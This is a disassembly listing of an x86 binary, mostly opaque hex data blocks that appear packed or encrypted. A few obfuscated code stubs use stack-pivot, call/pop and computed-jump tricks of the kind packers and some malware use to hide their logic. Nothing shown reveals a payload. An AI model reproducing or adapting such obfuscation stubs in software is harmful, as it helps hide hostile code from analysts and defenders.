		dd 26664D64h, 0A335B276h, 0DC07BA31h, 96E5C46Fh, 22B43174h
		dd 0E3CF05AEh, 0E263BC86h, 0DE0561A5h, 76AAC895h, 0C1D84060h
		dd 29A8383Bh, 814944F2h, 67B49813h, 6774ACB4h, 219B826h
		dd 91292DD6h, 9EB8D55Eh, 6F8F7h, 28F81000h, 0C2021FB2h
		dd 0F01C75C4h, 0E42C67EAh, 993D5BFEh, 0E5C9AB01h, 0DA7F67A7h
		dd 0CB8E14C0h, 3E930BCFh, 34A33BE7h, 7A51FF74h,	8C09A92Eh
		dd 88584F20h, 0C20A036Eh, 8C8544C4h, 47BEF54Ch,	0A1E66B58h
		dd 0E95F3Ah, 537D0000h,	7E0E821Ch, 0FA1CC4DFh, 8450FCF5h
		dd 0CB08A13Fh, 0ACBA2BD0h, 0B6FB7D1h, 43A76BA6h, 0F505E11Fh
		dd 0D897DA3h, 0C16B4E9h, 5691h,	1C533700h, 0B4650E82h
		dd 7EA13F84h, 0C889197Dh, 0FCE307CFh, 933F56E5h, 82424001h
		dd 0EC367B78h, 7B8C501Ch, 0BC1D950Ch, 0C5BAB965h, 0E9DA3528h
		dd 0C00F6BABh, 45384283h, 71FAEE00h, 0A928D83Ch, 9AB9DD1Eh
		dd 0E4307E68h, 9413FF8Dh, 7, 0F48BC8h, 53290000h, 0F458D316h
		dd 0B4A13F84h, 0E27266A7h, 0D7515B0Dh, 71019B95h, 0B3A4E99Fh
		dd 923A5384h, 9F0A4B88h, 298BBB0Ah, 790A49A9h, 263DB05Bh
		dd 0F639C4E2h, 2E000005h, 1DBC2AF6h, 73C6DC00h,	65D4F21Ah
		dd 59F8E62Ah, 55039B3Bh, 65A9E7CBh, 1AC2DC7Dh, 9D1CD8Ch
		dd 39E92091h, 0FD760AA1h, 0A92E7B4Fh, 53228E0Bh, 0F475821Ch
		dd 7393951Fh, 16B8CF27h, 5EBB0Ch, 53DD0000h, 4F0E821Ch
		dd 366A8C54h, 3F848FBDh, 0CB084BA1h, 0DFBA2BD0h, 67B35355h
		dd 0C16B80Fh, 3B7Bh, 1C531D00h,	6E62A2E0h, 3F8457C5h, 83C013A1h
		dd 0C9F9366Ah, 8F057D24h, 0D56526BDh, 0C02AEA28h, 1C7EAAE1h
		dd 7892746Eh, 0BA0CFA2Ch, 0A13FB499h, 9434437Ch, 0A8240C16h
		dd 78FFFFFEh, 75821C53h, 200CA737h, 0D8A13F85h,	0FB43009Bh
		dd 199571B7h, 0C16B7FDh, 2116Dh, 514F2300h, 60BE1F8Dh
		dd 0F0D125BCh, 8B294D95h, 11F8D79h, 1674C5DDh, 94D194F6h
		dd 5FFE8E02h, 9F049F43h, 0A928B60Eh, 25A836Ch, 55BDCF0Ch
		dd 0E9B9C64Eh, 0E1FC5D0Dh, 52F3E126h, 0FF79236h, 0D349BDC3h
		dd 0C88911B5h, 0ABE00ACAh, 9955C681h, 0B8D627Eh, 0E50687C6h
		dd 0FDE9059Ch, 35AD71AFh, 52468684h, 3E7397F3h,	0DAD57467h
		dd 0B95D44DBh, 749659E9h, 32F238FAh, 17BF6D6Ah,	787B9956h
		dd 6779CE61h, 202BFE75h, 2E31A13Fh, 16139F5Dh, 7F67A41Eh
		dd 6CD05BEBh, 2C916D82h, 0CC19B42Fh, 50BA5AB8h,	8285AB40h
		dd 3645916Dh, 8B20B0F1h, 9956942Eh, 546F93DCh, 458E524Dh
		dd 0D310D38Eh, 207ADBB7h, 36AD92F4h, 84377FADh,	0E4020489h
		dd 0B990F54h, 0BDF33324h, 0A4FDA427h, 20A03B78h, 6D5B2E8Bh
		dd 0A2FDDC91h, 0C5D71C7Eh, 9B38022Eh, 74B5C681h, 8115DA6Eh
		dd 23820D17h, 0DF36851Ch, 938AD733h, 0C426EA25h, 0ED405E9Fh
		dd 0B29E1558h, 76819B06h, 24B42465h, 9B06A18Fh,	683E7E81h
		dd 2FA8B5B2h, 0F613B6C5h, 148FB4D6h, 0E5D21F94h, 0B488983h
		dd 0B480A8EFh, 374B79B1h, 843343CFh, 422733A4h,	79000000h
		dd 10801653h, 3851F080h, 8539E7ECh, 0E2F1A13Fh,	9F0F72E7h
		dd 9435A928h, 26955E7Ah, 72B0AC0Bh, 10E6E90Dh, 65ACA43Ch
		dd 24ECF734h, 54C4B3D7h, 17995609h, 57BFFBEBh, 3140033h
		dd 7Ch,	88584F45h, 0C105036Eh, 15C5DCA5h, 0A97990F1h, 8967AA31h
		dd 0BC1DA13Fh, 0FC19B860h, 2AB1BED8h, 3EA474ABh, 3CAC4287h
		dd 2B54C0B7h, 0D7C516A9h, 0EEF41876h, 14E92D6Bh, 263E54C6h
		dd 6ED27B85h, 0A6000003h, 9524A26Eh
		dd 8B4E5478h, 0FD5C4A92h, 0D1607EA2h, 0DD8B13B3h, 0FD217F53h
		dd 923A54E5h, 814945F4h, 0B161B819h, 45EEB229h,	0A92E7DD7h
		dd 4FBA0693h, 0A4158D51h, 9125BD6Dh, 6E88584Fh,	0CCDC0C03h
		dd 0D5CC100Dh, 584FF95Dh, 0C036E88h, 9D3CCCDCh,	0EC505981h
		dd 0ACA13F84h, 6E9262AFh, 4E39CEDEh, 0E166DF53h, 8C4DDDCFh
		dd 0CA5F4A92h, 0A9297B07h, 0F9435CFDh, 0D01F7B9Bh, 51487793h
		dd 494EA8ABh, 995749DFh, 227096A8h, 13FEEFD2h, 7FA7E061h
		dd 3F0364h, 53450000h, 80108016h, 0FC1ECAC1h, 1A47ECF7h
		dd 50A9289Fh, 88B0E703h, 199566Ah, 0DAA7C303h, 0F71F78BEh
		dd 0CA0454B6h, 619DE21Ch, 0D2ED0985h, 0B57A13FFh, 81FAA34Ch
		dd 0FFA8339Fh, 0B6h, 88584F91h,	0A305036Eh, 1B58A26Ah
		dd 0BAD1B0DAh, 6EA50C6Eh, 267FC5C0h, 16579CFEh,	702C3D1h
		dd 0BE42D8C3h, 0DE418871h, 91082C90h, 40150508h, 8B574EA1h
		dd 74FF8F13h, 0A1400BC8h, 0E9687380h, 0A10466B2h, 951EB224h
		dd 0A9292C98h, 0C1050372h, 1EAB1A80h, 0DE931888h, 3CA142C2h
		dd 0EE2CAD3Fh, 301B02Eh, 0FC3E3EC3h, 0AFC92E01h, 22806h
		dd 0F8286000h, 92326FE2h, 804C45F4h, 0B45CB71Ah, 0A96DAB2Eh
		dd 35999B31h, 2AAF37D7h, 1BBE24F0h, 0EC3DBFFh, 64D3CB17h
		dd 80210FA4h, 0DCD9A92Eh, 0C3DF7E70h, 0EDF4FB1Fh, 0F6EC306Eh
		dd 0A2FE4C43h, 96D71C7Eh, 0DF7E4C08h, 248702C2h, 109B099Fh
		dd 0A9289F6Dh, 4D4AACAFh, 99566ADBh, 96DB1EEh, 4FAB6BA8h
		dd 0DAF41214h, 0D15D89B5h, 13FFD2C5h, 106B5h, 0B17EEB00h
		dd 2FEAD154h, 0AB2AB162h, 0A434A474h, 4047210Fh, 9FF8D9A1h
		dd 0EF2C1377h, 0CF8E02F4h, 0BF0602D6h, 84D11C92h, 9FFD5C47h
		dd 919C1B7Fh, 0C2A13FFBh, 0CC8D1FCBh, 0E7EC0ECEh, 0BCD366FCh
		dd 6960A6Ch, 0F2056C29h, 820BDFD9h, 0A13FC09Eh,	0C6D2FA13h
		dd 36B32EB5h, 7237E6ACh, 9219151Ah, 0A1403AAEh,	0EB28696Ah
		dd 378669F9h, 0CCB685A9h, 8DE92D6Ah, 119A0146h,	0A929121Ch
		dd 58889FFEh, 5442EA17h, 8ACB2655h, 3FED8616h, 0FB99570Bh
		dd 0F469E1F8h, 9B812A6Fh, 5F99570Ah, 0BAFB277Eh, 32CC6775h
		dd 4AA142DFh, 0DC3A9B09h, 0F12FA238h, 0C306502Dh, 0CBD52E01h
		dd 0F822h, 28F81000h, 0C2021FB2h, 0F01C75C4h, 0E42C67EAh
		dd 993D5BFEh, 0E5C9AB01h, 0DA7F67A7h, 0CB8E14C0h, 3E930BCFh
		dd 34A33BE7h, 8051FF74h, 8C09A92Eh, 8D514F20h, 0BD6DA415h
		dd 5496C02Fh, 0BFB343CAh, 145BBF63h, 7797F4D7h,	4F66D66Ch
		dd 36E8858h, 6FC6DC0Ch,	0A76BA6DAh, 0CDDF1C43h,	59819C3Dh
		dd 6AB363Dh, 0A92E76FCh, 0CD73F888h, 8D995092h,	0CD29F12Ch
		dd 0B25A4186h, 0BD4D45A1h, 50930A36h, 168DCE99h, 3AA070A7h
		dd 36508097h, 799DFB5Ah, 26CBD61Dh, 0DC1258E3h,	57C52143h
		dd 41009040h, 757A9C48h, 2E65D46Eh, 0DE3998E2h,	0EA27A63Ah
		dd 4589872Ah, 5FA72221h, 97F31772h, 0E105D1CAh,	1CC4DFE2h
		dd 557997FAh, 5A743231h, 0D02E12ACh, 63AFE636h,	6DB5D071h
		dd 0DC6CFC76h, 8ECCE957h, 3752A156h, 53419188h,	87F7159Ch
		dd 0B8232563h, 3B75Eh, 8AD50000h, 8B574F2Eh, 0DF0B026Fh
		dd 16BAD6BBh, 0AB73ADF4h, 0E024624Fh, 39DD3B86h, 7199F4DDh
		dd 8B534C15h, 0C105026Fh, 8957B7A5h, 4C781E7h, 83000000h
		dd 3C8704EFh, 24248B24h, 81E28952h, 4C2h, 4EA8300h, 5C241487h
		dd 68241489h, 58DCh, 0BA240C89h, 1924305Dh, 3E22BE56h
		dd 0F2291135h, 0C8B545Eh, 4C48324h, 242C8152h, 340F42B7h
		dd 8108418Fh, 42B70841h, 0C8B340Fh, 0E1895124h,	4C181h
		dd 0C1830000h, 240C8704h, 2434FF5Ch, 4C4835Ah, 0FB551FE9h
		dd 5CD9A6FFh, 0FD7CB80Eh, 0C50307EEh, 6F39E0FFh, 91D50F35h
		dd 7BE328A3h, 43416D6Eh, 5C700Bh, 5B96481Fh, 4F747941h
		dd 42573A32h, 59873D62h, 0F19F1380h, 12A42B53h,	5DF8150Fh
		dd 17364B5Ah, 9E855264h, 3AB058Bh, 0B5EF0F29h, 5DFB1D3Ch
		dd 24833C3h, 2137652h, 0C7554A19h, 2C3433FFh, 20754B64h
		dd 631B116Dh, 0BD174C95h, 3EE923D9h, 7B000000h,	4C745Bh
		dd 57000000h, 434AC51Ch, 0F9366148h, 88A7A5ADh,	0FB75528Ch
		dd 9CBE00B7h, 7EE5ADF9h, 9D8993h, 921DF4C7h, 0DE196063h
		dd 4 dup(0)
		dd 0A66E900h, 0CD680000h, 0E907EEFFh, 0FFFA7D16h, 0EF00F368h
		dd 7D0CE907h, 0B768FFFAh, 0E907EF01h, 0FFFA7D02h, 0EF026268h
		dd 7CF8E907h, 2868FFFAh, 0E907EF03h, 0FFFA7CEEh, 0EF044668h
		dd 7CE4E907h, 0FD68FFFAh, 0E907EF04h, 0FFFA7CDAh, 0EF06D968h
		dd 7CD0E907h, 0B368FFFAh, 0E907EF07h, 0FFFA7CC6h, 58D5A7B4h
		dd 932258FCh, 0C06D0F21h, 37BE3C54h, 69047085h,	0B75A36F3h
		dd 958C28C5h, 1D329E17h, 0D466D263h, 38620BAAh,	6DC74949h
		dd 0F7B1CB28h, 6CB0C86Fh, 0D23C756h, 3F1AEB2Ah,	0A0B3D1F3h
		dd 0C53E7E33h, 0CCD6305Ch, 4A12AC3Eh, 780ADAA4h, 0C54BD1B0h
		dd 0E3C1384Fh, 0C2C2BF49h, 0A8286DC5h, 6DC5B9F9h, 45495B28h
		dd 7B15935Fh, 0E174C2D3h, 0AB394B9Bh, 35E1495Bh, 7CD85527h
		dd 46409CDEh, 3F07799Eh, 85904DA5h, 26097812h, 0EC3060C7h
		dd 92B824B6h, 49E34DE0h, 0E0319D2Fh, 69B5C76Ah,	6B79C55Bh
		dd 939E538Fh, 0C85E1832h, 0B008433Eh, 885427D7h, 71F32367h
		dd 0C58103E3h, 0E8FA4A32h, 0AB465C00h, 242679CBh, 0AA447BCBh
		dd 87000008h, 0CF690474h, 70DC512Bh, 0A7119CDEh, 0D440ED6Fh
		dd 22BA3B41h, 0F4809505h, 46C6DF79h, 92EA0DAFh,	0D99BB1E3h
		dd 3A773354h, 286DC67Ah, 4A02609Ah, 420ED6A0h, 0A23CCEA8h
		dd 5CC4AFEFh, 0F7436130h, 5A4B7EAh, 92128FF1h, 82305CC4h
		dd 6AFC9220h, 0B5AB5837h, 98643E37h, 73ABCDE9h,	0F088AF28h
		dd 0EC8EA02Ch, 94355B10h, 0B756FA66h, 0B75874Fh, 4241A93Bh
		dd 8C19F582h, 52FCh, 0D77AE200h, 0B3B0F0A1h, 42602873h
		dd 0B34644ACh, 3E7E33A0h, 0D6305CC5h, 0F5AC3ECCh, 37B5AAF6h
		dd 473E069Ch, 2873AA6Bh, 8F4CED11h, 8C19FB35h, 0F4BC52FAh
		dd 0BFC51963h, 53F9D529h, 31C7DD21h, 0ABA4F9h, 0B21A0000h
		dd 3B41D49Ch, 0FB4BD9EBh, 4A8301E9h, 420ED6A0h,	4571CDAFh
		dd 5D79C5B7h, 5130BDBFh, 305CC17Ah, 1598DA70h, 55E791BBh
		dd 0CD116389h, 52277BB7h, 0CBC650C7h, 37B5AEF8h, 96C9643Eh
		dd 77A0C9Bh, 2FC7D739h,	13BB4D57h, 60EC7EFEh, 5153B331h
		dd 95B81499h, 81224AE7h, 92A23C35h, 7843Dh, 0E292B900h
		dd 2F4DE153h, 7A042A86h, 0CB4959FBh, 116B8E2Ah,	4F2B0C9Ch
		dd 0F123D2AAh, 27911CA0h, 6BC56810h, 593EB7C1h,	0C554544Dh
		dd 8EBC286Dh, 0D5A74AD8h, 185EFC58h, 5CC52969h,	96BEEB30h
		dd 84608348h, 0A74EDC72h, 1A0B363h, 6FF98FEDh, 0C562B0D6h
		dd 12274603h, 8A1CD46Ah, 0B58AD817h, 18E4BE37h,	738A4D69h
		dd 6E0F3328h, 1A1B53ADh, 88938Ch, 78370000h, 40E775EDh
		dd 220E8004h, 82C64F6h,	82109272h, 790316A2h, 66E5FCA5h
		dd 7785305Ch, 2ECC6805h, 323DF04Ch, 4B9E13A5h, 0EB37B555h
		dd 0F66134B9h, 0C3DAD761h, 0F32FC77Fh, 9ABF27B1h, 4CE153E2h
		dd 29E18128h, 7DF13C34h, 6C04Ah, 1E5EFD00h, 6B112597h
		dd 0B6C86ECAh, 7859D3Fh, 4D2FC26Eh, 83EF48A0h, 35670E6Eh
		dd 7BD558DCh, 0AF09A4D4h, 1D42F38Dh, 0C3901081h, 4A80286Dh
		dd 0D5A74A14h, 1C5EFC58h, 0DC783191h, 0E6FC403Ah, 40A8D266h
		dd 41B3C654h, 0AB61D40Dh, 83FCBCF5h, 8E14305Ch,	3E9A6AF8h
		dd 0B4D3621Ch, 305C8418h, 0E49D0E29h, 305C83A4h, 0E5F4316Ch
		dd 2AB37859h, 3D740694h, 384F3F25h, 5B03950Fh, 822EC7B1h
		dd 0E27C0E68h, 40595948h, 0E9BB286Dh, 6D3FF8B8h, 0AE8A1828h
		dd 2BBCBF72h, 2CADE091h, 1F852FC6h, 39F5C692h, 7166FE3Ch
		dd 615h, 0FC710328h, 37BEBC50h,	64097385h, 0DB5AD8C8h
		dd 0DA0D479h, 1B3E9A9Fh, 3160CC61h, 819602B3h, 30DA76FFh
		dd 0DCC6AF46h, 6DC2E5A5h, 0AF1D2F28h, 0ED6A04Ah, 3446D470h
		dd 22028090h, 0CE6C48A0h, 7B098B9Ah, 710B2FABh,	73F121ADh
		dd 15B4D893h, 0D7769EE5h, 0A74BFF1Dh, 0C4E0A0D1h, 7230305Ch
		dd 0EC8200DCh, 0E000C041h, 0E7E8430h, 60000000h, 0D72FADE4h
		dd 51A765CDh, 1A8h, 3EDC78F1h, 43D4E03Ch, 0BE4FAB39h, 305CC522h
		dd 63235EE8h, 0AD305CC5h, 0CB663BF7h, 6CD7CA5Ch, 0AA384FC5h
		dd 54E66EF8h, 3298B2Ah,	5DD8AD71h, 4E4130CAh, 0E42FC6B3h
		dd 0CA1A9888h, 0FF8F2AB8h, 0C73C397Eh, 54F580Fh, 0C9620000h
		dd 86AA06AFh, 39DF79F4h, 1202AE47h, 9EB31D90h, 60D957DEh
		dd 169FDD70h, 44E96BBAh, 0B83547E8h, 0F17CFE1Ch, 1F9F128Ch
		dd 0F1286DC2h, 0ED78E5DBh, 0ECAA6CEFh, 0DEFA36F5h, 0D6E2423Ch
		dd 24A03A44h, 0D976FEDh, 0D2328925h, 0F532CB2Bh, 0A1BC5A43h
		dd 0C743CD61h, 0B9956936h, 0C5B74571h, 0A8E89933h, 68305C5Dh
		dd 56F3FE3Ah, 8431476Eh, 1E88h,	0DC78DA00h, 0E0FE46C4h
		dd 5CC4F1B1h, 0F3812330h, 0C5682859h, 0FAA8305Ch, 0CE813Eh
		dd 0B3210000h, 0BA537A0h, 0C5800071h, 1690305Ch, 5CC51B9Bh
		dd 19AFF530h, 0C5EA30D1h, 4A26384Fh, 0B547D5A7h, 9010811Bh
		dd 80286DC6h, 71C88B22h, 5ABEB8DDh, 62103A9Eh, 6E956F2Fh
		dd 8A07A128h, 286E950Ah, 740A980Ah, 0A82A7AE2h,	39D37D40h
		dd 7DD9E73Fh, 475DA1DBh, 0AC3B36EBh, 30C4801Ah,	0E8FA4Ah
		dd 6195DE41h, 49583430h, 0DB697BCBh, 5778541h, 4C2ECC68h
		dd 0A5323DF0h, 7EE39E13h, 0D1D327D8h, 272AE858h, 7B8B424h
		dd 431h, 0E08DEF0Ch, 5BDAA0B4h,	882557F9h, 0FF76F42Ch
		dd 31BCB85Dh, 0FF127EBBh, 4D44F07Dh, 658A26CFh,	1C3E9A1Bh
		dd 0F0AAD362h, 6DC10181h, 8BF91328h, 0F3B3EE78h, 1D305CC4h
		dd 4314AB87h, 0AE000001h, 0A537A0B3h, 0C516960Bh, 0A4FE305Ch
		dd 36C05A4Ch, 5CC53B7Bh, 57F9D530h, 35CBD925h, 0C6060CFDh
		dd 980A384Fh, 0CAB4460Eh, 1163892Bh, 6AFD78CDh,	99E374D0h
		dd 23BD5751h, 6DC72E6Eh, 74BCE628h, 60C7B295h, 0A8426030h
		dd 0DA6C0E2Ch, 81E6F443h, 539FF895h, 2E48E24Eh,	871003D6h
		dd 5AC1BCF5h, 0B4F127D8h, 34F74526h, 0E1881EFCh, 24276AA9h
		dd 7AC2F549h, 0B7000003h, 0FF59D4A4h, 208C215Bh, 57C16C0Eh
		dd 8430BD3Fh, 0F26A0B71h, 0C4B04535h, 16968F29h, 621A3D9Fh
		dd 0A9CB61D3h, 4A476304h, 286DC14Ah, 4AD2B0CAh,	4938D2A0h
		dd 305CC549h, 0E8A8D9CBh, 0E0305CC4h, 0CDD72F4Dh, 0F14DE3C1h
		dd 0DC7337C5h, 0AC42409Ch, 0D4759B50h, 0EE78FA10h, 55A9D366h
		dd 5CA0D479h, 7578B046h, 30DFF4CCh, 5C7284h, 0B3500000h
		dd 0BA537A0h, 5CC51696h, 4CA4FE30h, 78AD275Ah, 0A10337B2h
		dd 84047D17h, 8C287378h, 0CCDA16h, 0E496BAEEh, 62F48A18h
		dd 0A22A54FAh, 8C16EE88h, 1CD59A4h, 0A1A088ECh,	28737806h
		dd 0FD1256E4h, 0FF17A383h, 245DEF7Dh, 28737864h, 0CD60F6ACh
		dd 53B3CD63h, 2B07Ch, 0A54A8600h, 0AD4F0BDBh, 64F622D3h
		dd 6C8ECA1Ah, 0B3EE7812h, 305CC4F3h, 26AB871Dh,	0E577E073h
		dd 0B5ABCDACh, 4DDFC537h, 20086C81h, 0ABB9158Ch, 0A3AF2873h
		dd 0F4E7D9FAh, 46078C19h, 0A3000000h, 0EE01A0B3h, 9E2CB68Eh
		dd 46EA720Ch, 0CE0DFC34h, 0C437B5ABh, 0DC7806DEh, 0E5FF47C5h
		dd 0AB607C0Dh, 0F8042873h, 0FA408051h, 0EEBE8C19h, 20000000h
		dd 4F873A95h, 62426A3Bh, 6114F73Ch, 4BEC68FEh, 1BD7ED31h
		dd 0E0A04AA9h, 85AA32B0h, 0B992BFBh, 0EAAAE771h, 2A305CC4h
		dd 507CB078h, 6B67BFBDh, 2E92B0C1h, 0E79BF57Bh,	2BC18D51h
		dd 6DDA449h, 0E4305C72h, 2F892456h, 1593730Dh, 7286067Bh
		dd 148E305Ch, 811601DCh, 512BBAF7h, 9E0B37B5h, 0BBE4FA3Fh
		dd 58D56B27h
		dd 0EB7DEA05h, 0CACAC751h, 4A287311h, 1265255Ch, 0F5AF2873h
		dd 2BFA8B67h, 8B2FC73Ah, 32C78F19h, 933BAB4Ah, 9C26FE7Eh
		dd 99CD6054h, 0FC750B89h, 3C34E050h, 9ECFE07Ch,	93000001h
		dd 0DB75F878h, 0CA84537h, 0B31D90EAh, 0E04CE163h, 16862F4Dh
		dd 0E88CA111h, 3ABAEB45h, 86F619BBh, 0CDAF4DEFh, 2E633F20h
		dd 286DBF6Eh, 4A3694A6h, 0CE58D5A7h, 0C53D7D34h, 0CDD7305Ch
		dd 0DE9BB165h, 0B2A7D0F2h, 47EE7CCAh, 37A0B3C3h, 0AAEDECA5h
		dd 0C65F37B5h, 1938922Bh, 14940D5Eh, 0FC2873B1h, 34D810A6h
		dd 0D3EF966Eh, 952873B0h, 0AC28F480h, 0A32EF674h, 0EC24E089h
		dd 7E0C966Eh, 429F3EC2h, 8C19F482h, 8EFCh, 0A04AC600h
		dd 0AF420ED6h, 399071CDh, 31305CC1h, 35CF591Bh,	5CC13C7Ch
		dd 62CED430h, 5D1F3D9Fh, 0B621CC81h, 0A05E6D24h, 0A62E37B5h
		dd 5F03EF91h, 7AF5A845h, 30265BEDh, 7C2FC7CBh, 25C89426h
		dd 0DF72DE57h, 9592149Dh, 92A23C35h, 0C43Dh, 2252F900h
		dd 6F0D2193h, 0BAC46AC6h, 0B89993Bh, 512BCE6Ah,	8FEB4CDCh
		dd 3163126Ah, 67D15CE0h, 0AB05A8D0h, 197EF781h,	0BD94148Dh
		dd 4E7C286Dh, 0D5A74A18h, 1C5EFC58h, 0A6491591h, 4AA81AD6h
		dd 420ED6A0h, 0C27CEA8h, 0ADE476E1h, 384FC732h,	0FC5EE37Ah
		dd 7E91945Fh, 0E9413BDEh, 0B479F05h, 0B21E97E1h, 9F06DE98h
		dd 73F20957h, 0C71F5DF1h, 0CF17618Bh, 7E79204Ch, 6B0BFC0Eh
		dd 66E77503h, 53F92BD2h, 0E468B925h, 0D2E9F5B5h, 63B31FDCh
		dd 30BD53E1h, 38047684h, 0E0EF17AEh, 9D747726h,	0A63C0084h
		dd 0A4FCD810h, 0A7A9DE26h, 4A28C206h, 0D37F5757h, 55EBB9DCh
		dd 9CDE7CD8h, 36F40h, 54B70000h, 0D7A14AF6h, 0CFA9430Fh
		dd 0C4B45B77h, 0C7455C78h, 0BEBE537Fh, 0B5C76A66h, 0B7356D69h
		dd 0B3CD636Fh, 0A9D36753h, 0F5685E55h, 89000022h, 69682434h
		dd 8900000Ah, 89522414h, 4C281E2h, 83000000h, 148704EAh
		dd 34895C24h, 0FEFE6824h, 148B07EEh, 4C48124h, 83000000h
		dd 248904ECh, 24048124h, 4, 37C3685Eh, 14890000h, 8468F24h
		dd 5E2434FFh, 8B04C483h
; ---------------------------------------------------------------------------
		adc	al, 24h
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		sub	eax, 624516BDh
		mov	eax, 7EF089Ch
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 0EBh, 0D6h, 70h
		dd 0E0E7FD5Eh, 56FDED4Bh, 50987809h, 6FB61730h,	789D8322h
		dd 0F503E107h, 0F53E0239h, 47C63931h, 6AC08B02h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 0DABCC350h, 5F9C3FB2h, 0E997F28Ah, 9, 0CFDA9389h, 442B9A2Ch
		dd 0A5BD8399h, 7E918h, 0BD830975h, 7E91A45h, 50197400h
		dd 0B8C08B53h, 3FCh, 11F98589h,	9D8D07E9h, 7EBD7CEh, 585BD3FFh
		dd 1A45BD83h, 740007E9h, 0B8535017h, 3FCh, 11F98589h, 9D8D07E9h
		dd 7EBD4BDh, 585BD3FFh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 8C35646h, 8D8F30A1h, 810C515Dh, 60DFB70Fh
		dd 0D2EE8166h, 61DD8A90h, 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 0D58AACC3h, 1B69BD83h
		dd 0F0107E9h, 0A084h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 60A15833h, 0D971B430h
		dd 3FB65305h, 1615BD83h, 0F0007E9h, 6C85h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
		dd 0FB60ECBh, 688h, 0FCF38100h,	834981D4h, 0E92EB5BDh
		dd 840F0007h, 64h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 0A4C35242h, 0FE5D886Dh, 810F79D3h, 6
		dd 0A9B5F381h, 66504D88h, 85F8F381h, 393E95Ah, 0B3B60000h
		dd 0
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_5E4883
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5E4883	proc near		; CODE XREF: sdfs____:005E487Bp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_5E4883	endp

; ---------------------------------------------------------------------------
		db 0D4h
		dd 939BB7Bh, 0D78B4221h, 0BA5B122Eh, 3A10A03Eh,	38F32A3Fh
		dd 0D7714B03h, 4B5555BBh, 67977E2h, 0B58B4E54h,	0B11CA747h
		dd 0B1754FF4h, 0EE56A7D1h, 0CDFFF82Bh, 0F5F7A350h, 0B16BA31Eh
		dd 0E631A71Dh, 0C9F14D4Dh, 4747D496h, 3AB37429h, 7E9C260Eh
		dd 0E44CD63Ch, 0B176A79Ch, 5CF7FA3Ah, 0B699AC2Eh, 5924A7E4h
		dd 0B176A744h, 0EBB5FD83h, 0B552F358h, 0B552E369h, 0B176A760h
		dd 0B5F578h, 46FDC17Dh,	63B426E8h, 0A10C605h, 0A1024CAh
		dd 71FDDFD5h, 5AA31CBEh, 212D8B89h, 864C7980h, 0BE27F717h
		dd 0B176A20Fh, 339A1C47h, 212DC7B7h, 5924A7BBh,	0B176A7EBh
		dd 0EBB5FD54h, 0B552F3B3h, 0B552E39Ch, 0B176A794h, 0AAB5F505h
		dd 9436A6A5h, 11C410C1h, 953AA6E7h, 0E076CD8Ah,	0B176A4D2h
		dd 722F871Dh, 953A2ED7h, 95322643h, 0B176BDA7h,	7227E6D1h
		dd 70137FA6h, 0E999D9EBh, 0BD73938Dh, 0DB76A71Fh, 0B29EF68Eh
		dd 9176A747h, 382F64FAh, 3072839Dh, 0A47283ACh,	0F076A774h
		dd 3A73646Bh, 0B1752012h, 62F6A78Eh, 0DB7E2CE3h, 0B29EF5A3h
		dd 9176A7D1h, 382C64B2h, 30728320h, 0A472837Eh,	0F376A71Dh
		dd 42C164DCh, 0B176ADAEh, 22B0B0A3h, 0EAF3CF8h,	0D79B2B63h
		dd 588AEFFFh, 0B176A731h, 5391960Fh, 2B9A5A36h,	9504A2Ch
		dd 0B176A7A2h, 5924A7BBh, 0B176A7EBh, 0EBB5FD54h, 0B552F3B3h
		dd 0B552E39Ch, 0B176A79Ah, 0BFB5F505h, 0B176A24Ah, 0FC3CA6D1h
		dd 67949BAh, 4DFCF7AFh,	0DB52ABB3h, 0B29EF61Dh,	9176A78Eh
		dd 382F641Eh, 307283EFh, 0AA728395h, 0F076A7E8h, 0BF756425h
		dd 62EDDCA4h, 0A59F14D9h, 776A78Eh, 56AAA956h, 0CE8A9584h
		dd 5E9378CEh, 0F632DE3Dh, 0D7583429h, 52F77EB6h, 0AD263331h
		dd 0BE726678h, 0B1764AC2h, 0E176CDA3h, 0B176A439h, 722E87E8h
		dd 95322E2Ch, 9532263Eh, 0B176B219h, 7226E78Eh,	0B49E7F8Bh
		dd 2D76A7A3h, 37C7F70Fh, 0B1F5A8B9h, 0EB76A774h, 63F6FE60h
		dd 0D94F27CCh, 0B06B2281h, 0B11CA747h, 0B1754FF1h, 0EB56A7D1h
		dd 0E5FFFD2Bh, 0F5F7A350h, 0B16FA31Eh, 0E334A71Dh, 1AF5A64Dh
		dd 3A3C60DAh, 0B11CA6DAh, 0B1754F84h, 0EC56A7E8h, 0DDFFFAB7h
		dd 0F5F7A31Eh, 0B162A339h, 0E433A78Eh, 33799684h, 0B176A7A1h
		dd 4EF7725Bh, 3176A7E8h, 0B1BF257Bh, 0B11CA73Ah, 0B1754F48h
		dd 0EC56A78Eh, 0DDFFFA84h, 0F5F7A387h, 0B161A3F5h, 0E433A7E8h
		dd 75EAF1B7h, 0B9FCA850h, 0BE76A71Dh, 0B176A503h, 76A52C47h
		dd 5E7C1D26h, 0B176A6D6h, 6BAC27E8h, 0B1761F9Dh, 58835B3Ah
		dd 0B176A79Eh, 0B17E4FD8h, 4FD5A747h, 7D1E37Ah,	31792218h
		dd 0B176A7E8h, 582FFD2Fh, 0B176A72Ah, 0E753F119h, 912271AAh
		dd 0CAB5E545h, 0A11141ADh, 0BA0F24B7h, 0FDF2A817h, 0DB76A774h
		dd 0B29EF13Ah, 9176A71Dh, 382864D0h, 30728333h,	0A57283E7h
		dd 0F776A7D1h, 0BE2C64BEh, 0B176A2F6h, 5BF7C13Ah, 66F6CA3Eh
